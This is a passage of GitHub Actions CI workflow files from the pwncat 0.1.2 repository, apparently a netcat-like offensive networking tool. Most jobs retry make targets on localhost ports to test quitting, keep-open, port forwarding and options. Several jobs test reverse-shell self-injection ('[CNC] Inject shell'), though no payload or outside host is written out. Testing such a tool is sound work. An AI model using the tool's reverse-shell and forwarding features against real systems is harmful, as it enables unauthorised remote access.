"[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-options--reconn-000 env: RETRIES: 5 - name: "[OPTIONS] --reconn 001" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-options--reconn-001 env: RETRIES: 5 - name: "[OPTIONS] --reconn 002" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-options--reconn-002 env: RETRIES: 5 # ------------------------------------------------------------ # Tests: Options # ------------------------------------------------------------ - name: "[OPTIONS] --ping-intvl" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make _test-options--ping_intvl env: RETRIES: 5 - name: "[OPTIONS] --ping-word" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make _test-options--ping_word env: RETRIES: 5 # ------------------------------------------------------------ # Tests: Behaviour (File Transfer) # ------------------------------------------------------------ - name: "[BEHAVIOUR] File Transfer: send normal" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-base--file_transfer-send_normal env: RETRIES: 5 - name: "[BEHAVIOUR] File Transfer: send on eof" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-base--file_transfer-send_on_eof env: RETRIES: 5 # ------------------------------------------------------------ # Tests: CNC Self-inject # ------------------------------------------------------------ - name: "[CNC] Inject shell: pwncat as rev shell" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-cnc--inject_shell-pwncat env: RETRIES: 2 - name: "[CNC] Inject shell: revshell with banner and suffix (multi byte)" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-cnc--inject_shell-revshelll-multi_byte-banner-suffix env: RETRIES: 2 - name: "[CNC] Inject shell: revshell with banner and suffix (single byte)" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-cnc--inject_shell-revshelll-single_byte-banner-suffix env: RETRIES: 2 - name: "[CNC] Inject shell: revshell with banner and suffix (multi byte) - delayed" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-cnc--inject_shell-revshelll-multi_byte-banner-suffix-delayed env: RETRIES: 2 - name: "[CNC] Inject shell: revshell with banner and suffix (single byte) - delayed" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-cnc--inject_shell-revshelll-single_byte-banner-suffix-delayed env: RETRIES: 2 pwncat-0.1.2/.github/workflows/test-x64-windows-3.5.yml000066400000000000000000001203331414025024700225200ustar00rootroot00000000000000--- # https://help.github.com/en/actions/language-and-framework-guides/using-python-with-github-actions # https://github.com/actions/python-versions/blob/master/versions-manifest.json name: win-3.5 on: pull_request: push: branches: - master tags: jobs: test: runs-on: windows-latest strategy: fail-fast: False name: "[x64] [windows] python-3.5" steps: # ------------------------------------------------------------ # Setup # ------------------------------------------------------------ - name: Checkout repository uses: actions/checkout@v2 - name: Set up Python uses: actions/setup-python@v2 with: python-version: 3.5 architecture: x64 - name: Set up PHP uses: shivammathur/setup-php@v2 with: php-version: '7.4' ini-values: max_execution_time=300 - name: "Setup /etc/hosts for Linux" shell: bash run: | if [ `uname` = "Linux" ]; then echo "\$ cat /etc/hosts" cat /etc/hosts echo ( echo "127.0.0.1 localhost"; echo "::1 localhost ip6-localhost ip6-loopback"; ) | sudo tee /etc/hosts echo echo "\$ cat /etc/hosts" cat /etc/hosts fi - name: Display Bash version shell: bash run: | bash --version whereis bash || true which bash || true - name: Display Python version shell: bash run: | python -c "import sys; print(sys.version)" whereis python || true which python || true - name: Display PHP version shell: bash run: | php --version whereis php || true which php || true - name: Resolve localhost shell: bash run: | echo echo "\$ host localost" host localhost || true echo echo "\$ python -c 'import socket;print(socket.gethostbyname(\"localhost\"))'" python -c 'import socket;print(socket.gethostbyname("localhost"))' || true echo echo "\$ python -c 'import socket;print(socket.getaddrinfo(\"localhost\", None))'" python -c 'import socket;print(socket.getaddrinfo("localhost", None))' || true echo echo "\$ python -c 'import socket;print(socket.getaddrinfo(\"localhost\", None, socket.AF_INET))'" python -c 'import socket;print(socket.getaddrinfo("localhost", None, socket.AF_INET))' || true echo echo "\$ python -c 'import socket;print(socket.getaddrinfo(\"localhost\", None, socket.AF_INET6))'" python -c 'import socket;print(socket.getaddrinfo("localhost", None, socket.AF_INET6))' || true # ------------------------------------------------------------ # Tests: Behaviour (Client) # ------------------------------------------------------------ - name: "[BEHAVIOUR] Client quits correctly 000" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--client-000 env: RETRIES: 5 - name: "[BEHAVIOUR] Client quits correctly 001" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--client-001 env: RETRIES: 5 - name: "[BEHAVIOUR] Client quits correctly 002" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--client-002 env: RETRIES: 5 - name: "[BEHAVIOUR] Client quits correctly 003" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--client-003 env: RETRIES: 5 - name: "[BEHAVIOUR] Client quits correctly 004" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--client-004 env: RETRIES: 5 - name: "[BEHAVIOUR] Client quits correctly 100" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--client-100 env: RETRIES: 5 - name: "[BEHAVIOUR] Client quits correctly 101" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--client-101 env: RETRIES: 5 - name: "[BEHAVIOUR] Client quits correctly 102" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--client-102 env: RETRIES: 5 - name: "[BEHAVIOUR] Client quits correctly 103" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--client-103 env: RETRIES: 5 - name: "[BEHAVIOUR] Client quits correctly 200" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--client-200 env: RETRIES: 5 - name: "[BEHAVIOUR] Client quits correctly 201" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--client-201 env: RETRIES: 5 # ------------------------------------------------------------ # Tests: Behaviour (Server) # ------------------------------------------------------------ - name: "[BEHAVIOUR] Server quits correctly 000" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--server-000 env: RETRIES: 5 - name: "[BEHAVIOUR] Server quits correctly 001" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--server-001 env: RETRIES: 5 - name: "[BEHAVIOUR] Server quits correctly 002" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--server-002 env: RETRIES: 5 - name: "[BEHAVIOUR] Server quits correctly 003" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--server-003 env: RETRIES: 5 - name: "[BEHAVIOUR] Server quits correctly 004" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--server-004 env: RETRIES: 5 - name: "[BEHAVIOUR] Server quits correctly 100" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--server-100 env: RETRIES: 5 - name: "[BEHAVIOUR] Server quits correctly 101" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--server-101 env: RETRIES: 5 - name: "[BEHAVIOUR] Server quits correctly 103" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--server-103 env: RETRIES: 5 - name: "[BEHAVIOUR] Server quits correctly 104" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--server-104 env: RETRIES: 5 - name: "[BEHAVIOUR] Server quits correctly 200" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--server-200 env: RETRIES: 5 - name: "[BEHAVIOUR] Server quits correctly 201" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--server-201 env: RETRIES: 5 # ------------------------------------------------------------ # Tests: Modes # ------------------------------------------------------------ - name: "[MODES] Local port forwarding" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make _test-mode--local_forward env: RETRIES: 5 - name: "[MODES] Remote port forwarding" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make _test-mode--remote_forward env: RETRIES: 5 # ------------------------------------------------------------ # Tests: Options # ------------------------------------------------------------ - name: "[OPTIONS] -n/--nodns" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make _test-options--nodns env: RETRIES: 5 # - name: "[OPTIONS] -C/--crlf" # shell: bash # run: | # # retry make _test-options--crlf # env: # RETRIES: 5 # ------------------------------------------------------------ # Tests: Options (keep open) # ------------------------------------------------------------ - name: "[OPTIONS] --keep-open 000" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-options--keep_open-000 env: RETRIES: 5 - name: "[OPTIONS] --keep-open 001" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-options--keep_open-001 env: RETRIES: 5 - name: "[OPTIONS] --keep-open 002" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-options--keep_open-002 env: RETRIES: 5 - name: "[OPTIONS] --keep-open 100" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-options--keep_open-100 env: RETRIES: 5 - name: "[OPTIONS] --keep-open 101" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-options--keep_open-101 env: RETRIES: 5 - name: "[OPTIONS] --keep-open 200" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-options--keep_open-200 env: RETRIES: 5 - name: "[OPTIONS] --keep-open 201" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" 